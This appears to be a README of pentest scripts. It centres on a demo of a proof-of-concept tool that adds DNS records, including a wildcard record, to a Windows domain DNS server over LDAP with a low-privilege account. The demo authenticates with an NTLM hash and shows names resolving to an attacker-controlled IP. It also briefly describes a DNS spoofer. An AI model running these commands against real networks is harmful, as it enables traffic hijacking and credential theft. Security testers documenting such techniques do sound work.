This is just a place where I put simple scripts and notes to access them quickly.
This is what you may need when doing a pentest and Python is not there to help you! As GO builds a portable file for many architectures, it is our saviour :)
Test it:
$ go run SimpleHTTPServer.go 8080 ./
Build it:
$ env GOOS=linux GOARCH=arm GOARM=7 go build SimpleHTTPServer.go
Sniffes for DNS queries going through your attacker host and provides fake answers to the specified DNS type A queries. It also forwards other queries different than type A and those pointing to FQDN that are not specifically included within the fake list.
This simple PoC allows to insert DNS type A records on a Windows Domain DNS server via LDAP by means of a Domain User (without additional privileges) using Python.
- The original idea can be read here: https://blog.netspi.com/exploiting-adidns/
Note: This is just a PoC, so don't use it in production systems or do it under your risk.
1. Adding a new DNS node (type A record)
Observe the host "nodito.bransh.local" does not exist:
root@kali:/# host nodito.bransh.local 10.x.x.190
Using domain server:
Name: 10.x.x.190
Address: 10.x.x.190#53
Aliases:
Host nodito.bransh.local not found: 3(NXDOMAIN)
root@kali:/#
Let's add it pointing to the attacker-controlled IP 10.x.x.111:
root@kali:/# python LdapDNSToy.py -d bransh.local -u lowpriv1 -hash FBDCD5041C96DDBD82224270B57F11FC -dc 10.x.x.190 -ip 10.x.x.111 -name nodito
[*] Creating an LDAP connection.
[*] Using NTLM authentication.
[*] The object was successfully added.
root@kali:/#
Wait for a few minutes and then try to solve it again:
root@kali:/# host nodito.bransh.local 10.x.x.190
Using domain server:
Name: 10.x.x.190
Address: 10.x.x.190#53
Aliases:
nodito.bransh.local has address 10.x.x.111
root@kali:/#
2. Adding a wildcard DNS node (type A record)
Observe the host "nodito.bransh.local" does not exist:
root@kali:/# python LdapDNSToy.py -d bransh.local -u lowpriv1 -hash FBDCD5041C96DDBD82224270B57F11FC -dc 10.x.x.190 -ip 10.x.x.111 -name \*
[*] Creating an LDAP connection.
[*] Using NTLM authentication.
[*] The object was successfully added.
root@kali:/#
Now, try to resolve any hostname such as unknown or trulyunknown and observe how they ALL point to the same attacker-controlled IP:
root@kali:/# host unknown.bransh.local 10.x.x.190
Using domain server:
Name: 10.x.x.190
Address: 10.x.x.190#53
Aliases:
unknown.bransh.local has address 10.x.x.111
root@kali:/# host trulyunknown.bransh.local 10.x.x.190
Using domain server:
Name: 10.x.x.190
Address: 10.x.x.190#53
Aliases:
trulyunknown.bransh.local has address 10.x.x.111
root@kali:/#
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent